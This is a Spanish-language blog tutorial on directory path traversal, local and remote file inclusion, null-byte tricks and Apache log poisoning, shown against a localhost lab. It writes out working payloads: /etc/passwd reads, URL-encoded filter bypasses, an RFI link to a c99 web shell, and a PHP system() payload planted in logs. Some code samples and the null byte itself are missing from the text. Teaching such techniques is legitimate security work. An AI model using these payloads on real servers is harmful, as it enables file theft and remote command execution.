Directory Path Traversal

El objetivo de un Directory Path Traversal Attack es el de conseguir acceso a ficheros o directorios que se encuentran fuera del directorio web raíz y en los que en condiciones normales un usuario sin privilegios no tendría acceso alguno.

Normalmente una aplicación web tiene restringido el acceso a usuarios no autorizados a la porción del sistema conocia como los directorios "CGI root" o "Web Document Root". Albergando ahí todos los recursos accesibles por el usuario y necesarios para hacer funcional el portal.

Para acceder a ficheros o ejecutar comandos en cualquier parte del sistema un atacante hará uso de secuencias de caracteres especiales, comúnmente conocidas como "dot-dot-slash" o "../".

Esto permitiría a un usuario malintencionado comprometer el sistema y navegar por toda la estructura de directorios de este, ganando el acceso a ficheros del sistema, códigos fuente, y cualquier cosa que se nos ocurra.

Los ataques de DPT suelen venir acompañados de la mano de otras dos conocidas vulnerabilidades:
  • Local File Inclusion (LFI) Permite la inclusión de ficheros locales donde se encuentre la web vulnerable.
  • Remote File Inclusion (RFI) A diferencia del LFI, permite la inclusión de ficheros que se encuentran en cualquier otro servidor.

¿Qué implicaciones tiene esta vulnerabilidad?

Cuando hacemos uso de funciones como include(), include_once(), require(), require_once() y no ofrecemos ningún tipo de validación ante posibles valores dados por un usuario, se puede provocar que las peticiones procesadas por el servidor web permitan a un atacante:
  • Ejecutar código remoto.
  • Tomar control del equipo vulnerable.

Montando pruebas de caja negra

A la hora de probar si un sistema es vulnerable o no, es recomendable realizar dos tipos de pruebas:
  • Vectores de enumeración Consiste en una evaluación sistemática de cada vector de ataque.
  • Técnicas de testing Evaluación metódica de cada técnica de ataque usada para explotar la vulnerabilidad.

Vectores de enumeración

Para determinar qué partes de la aplicación son vulnerables, el atacante necesita comprobar todas las vías que acepten datos del usuario. Esto abarca desde consultas HTTP, GET, POST hasta formularios para subidas de ficheros. Algunas cuestiones que pueden ayudar a asentarnos en esta fase:
  • ¿Se usan parámetros relacionados con peticiones a ficheros?
  • ¿Se usan extensiones de ficheros poco usuales?
  • ¿Hay nombre de variables poco normales?
Ejemplos:
  • http://localhost/lab/perfil.php?fichero=0xroot.html
  • http://localhost/lab/index.php?fichero=passwd
  • http://localhost/lab/main.cgi?home=index.html

Técnicas de testing

El siguiente objetivo es analizar las funciones de validación para los datos de entrada en la aplicación web. Tomando como ejemplo el código anterior, nuestra página dinámica dpt-example1.php, carga un contenido estático a través de un fichero. Un atacante puede aprovechar esto para insertar una cadena como "../../../etc/passwd" y volcar el contenido del fichero de claves de un sistema Unix.

Para conseguir explotar esta vulnerabilidad con éxito, el atacante necesita conocer la arquitectura del sistema que alberga la aplicación web, de nada sirve intentar cargar el fichero /etc/passwd si nos encontramos bajo un IIS Server en una plataforma Windows.

En determinadas ocasiones un atacante necesita hacer frente a filtros impuestos por el usuario programador para evitar la carga de ficheros con acceso restringido (lo que comentábamos de usar "../" o el byte nulo que veremos más adelante). Al usar cada sistema operativo un caracter separador diferente es importante conocer cómo trabaja a nivel interno cada uno.
  • Sistemas Unix

  • Directorio raíz: /

    Carácter Separador: /

  • Sistemas Windows

  • Directorio raíz: Letra de Unidad:\

    Carácter Separado: \ ó /

    Operadores mayor y menor que: >, < Comillas dobles: "./" , ".\"
Ejemplos:
  • fichero.txt
  • fichero.txt...
  • fichero.txt
  • fichero.txt""""
  • fichero.txt<<<><><><
  • fichero.txt/./././
A veces podemos encontrarnos con la necesidad de saltarnos filtros restrictivos, para ello podemos utilizar la codificación URL-Encode:
  • %2e%2e%2 representa ../
  • %2e%2e/ representa ../
  • ..%2f representa ../
  • %2e%2e%5c representa ..\
  • %2e%2e\ representa ..\
  • ..%5c representa ..\
  • %252e%252e%255c representa ..\
  • ..%255c representa ..\
Otras codificaciones que podemos usar son UTF-8 o incluso la representación hexadecimal de los caracteres.

El entorno de pruebas

Para demostrar lo nocivo que puede llegar a ser este tipo de vulnerabilidad vamos a montarnos un entorno de pruebas en un sistema real. Nuestro laboratorio va a componerse de los siguientes ficheros:
Si hacemos una llamada sin pasar ningún argumento a "recurso" la URL introducida sería:
http://localhost/lab/dpt-example1.php
Obteniendo el mensaje de "No se ha especificado el recurso". Pero qué sucedería si decidimos hacer la llamada al fichero index.php:
http://localhost/lab/dpt-example1.php?recurso=index.php
Obtenemos el mensaje esperado. Pero puede darse el caso de que el usuario que anda navegando por nuestra página web, sea un poco más perspicaz y quiera cargar el fichero /etc/passwd. Si observamos el código de nuestra aplicación vulnerable, nosotros no hemos realizado ningún tipo de validación previa a los valores que introduzca el usuario. Si cargamos:
http://localhost/lab/dpt-example1.php?recurso=/etc/passwd
Lo que obtenemos es:


Otra opción sería cargar una shell remota y ejecutar una vulnerabilidad de tipo RFI:
http://localhost/lab/directory-path-traversal.php?recurso=http://127.0.0.1/lab/shells/c99.txt

Usando el byte NULL

El byte NULL es un byte especial utilizado por nuestro equipo y es el equivalente a la representación binaria de 0000 0000 en hexadecimal 0x00. El uso de este carácter especial es cómo terminador de cadenas. Supongamos que tenemos el siguiente código (dpt-example3.php)

Si nosotros tratamos de abrir el fichero index.php lo haremos a través de la URL:
http://localhost/lab/dpt-example3.php?recurso=index
Automáticamente nuestro código concatenará al valor pasado el string ".php", esto nos supone un problema si quieremos abrir el fichero "/etc/passwd" o alguno otro similar porque obtendremos el siguiente error:
Warning: require(/etc/passwd.php) [function.require]: failed to open stream: No existe el fichero ó directorio in /opt/lampp/htdocs/lab/directory-path-traversal.php on line 3
Fatal error: require() [function.require]: Failed opening required '/etc/passwd.php' (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/lab/dpt-example3.php on line 3
El problema viene debido a que no encuentra en el sistema un fichero llamado "/etc/passwd.php", para saltarnos esta restricción haremos que todos los datos que introduzcamos lleven al final el carácter especial , así para

cargar el fichero /etc/passwd la URL quedará de la siguiente manera:
http://localhost/lab/dpt-example3.php?recurso=/etc/passwd
Con lo que obtendremos:


Log Poisoning

La técnica de Log Poisoning nos permite inyectar código en un fichero de log y ejecutarlo normalmente vía LFI. En nuestro caso suponemos que hemos instalado un servidor web bajo Apache, y por defecto tenemos dos ficheros de registros llamados access_log y error_log. Si conseguimos manipular su contenido e incluir código PHP, podremos ejecutar llamadas a funciones que nos permitan obtener control del equipo.

Antes de nada, veamos una breve recopilación de estos ficheros de log, para saber dónde podemos encontrarlos:
  • /etc/httpd/logs/access.log
  • /etc/httpd/logs/access_log
  • /etc/httpd/logs/error.log
  • /etc/httpd/logs/error_log
  • /opt/lampp/logs/access_log
  • /opt/lampp/logs/error_log
  • /usr/local/apache/log
  • /usr/local/apache/logs
  • /usr/local/apache/logs/access.log
  • /var/log/httpd/access_log
  • /var/log/httpd/error_log
  • /var/log/httpsd/ssl.access_log
  • /var/log/httpsd/ssl_log
  • /var/log/thttpd_log
  • C:\Program Files\Apache Group\Apache\logs\access.log
  • C:\Program Files\Apache Group\Apache\logs\error.log
  • C:\xampp\apache\logs\access.log
  • C:\xampp\apache\logs\error.log
  • Y un largo etcétera...
Una vez decidido el fichero sobre el que actuaremos, tenemos dos formas posibles de actuar:
  • Accediendo al fichero error_log

  • Suponiendo que hemos encontrado una vulnerabilidad LFI tratamos de acceder a la siguiente URL inexistente que será almacenada en nuestro fichero de log:
    http://localhost/%3C%3FPHP $s=$_GET;@chdir($s['x']);echo@system($s['y'])%3F%3E
    Si os dais cuenta se han sustituid los caracteres por su representación hexadecimal %3C%3F y %3F%3E respectivamente, dado que si tratamos de colar la url como tal, el código PHP no será guardado correctamente en el servidor, quedando esto:
    [Wed Oct 13 17:08:24 2010] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/<
    Sin embargo utilizando ese pequeño truco, conseguimos saltarnos el filtrado y se nos guardará la siguiente cadena en el fichero de log:
    [Wed Oct 13 17:03:51 2010] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/
    Si ahora acudimos a nuestro código vulnerable y ejecutamos la siguiente URL:
    http://localhost/lab/dpt-example2.php?recurso=/opt/lampp/logs/error_log&x=/&y=ls%20-l
    Obtendremos la ejecución del comando ls -l


  • Accediendo al fichero access_log

  • Más complicado que el ejemplo anterior, consiste en inyectar directamente el código php en el User-Agent del navegador, para ello vamos a utilizar el plugin "User Agent Switcher" para incrustar nuestro script en PHP en el User-Agent y nos apoyaremos en el plugin "Live HTTP Header" para ver el contenido de las cabeceras que sean enviadas por nuestro navegador.

    Deberá quedarnos de la siguiente manera:


    Haciendo una petición a la aplicación web vulnerable con la siguiente URL:
    http://localhost/lab/dpt-example2.php?recurso=
    Si observamos el log "access_log" se ha agregado una nueva entrada con el siguiente contenido:

    127.0.0.1 - - [13/Oct/2010:18:21:25 +0200] "GET /lab/directory-path-traversal.php?recurso= HTTP/1.1" 200 556

    Si accedemos mediante la siguiente URL:
    http://localhost/lab/directory-path-traversal.php?recurso=/opt/lampp/logs/access_log
    Y ejecutamos el plugin "Live HTTP Headers" observaremos como la cabecera que se envía tiene la siguiente forma:



    Nuevamente hemos conseguido inyectar e interpretar código PHP satisfactoriamente y el contenido de nuestro fichero acces_log quedará de la siguiente forma:
    127.0.0.1 - - [13/Oct/2010:18:21:25 +0200] "GET /lab/directory-path-traversal.php?recurso= HTTP/1.1" 200 556

    127.0.0.1 - - [13/Oct/2010:18:23:10 +0200] "GET /lab/directory-path-traversal.php?recurso=/opt/lampp/logs/access_log HTTP/1.1" 200 320

Comentarios

  1. Muy bueno el articulo!!
    Muy bien explicado, se nota que tiene mucha dedicacion!!

    ResponderEliminar

Publicar un comentario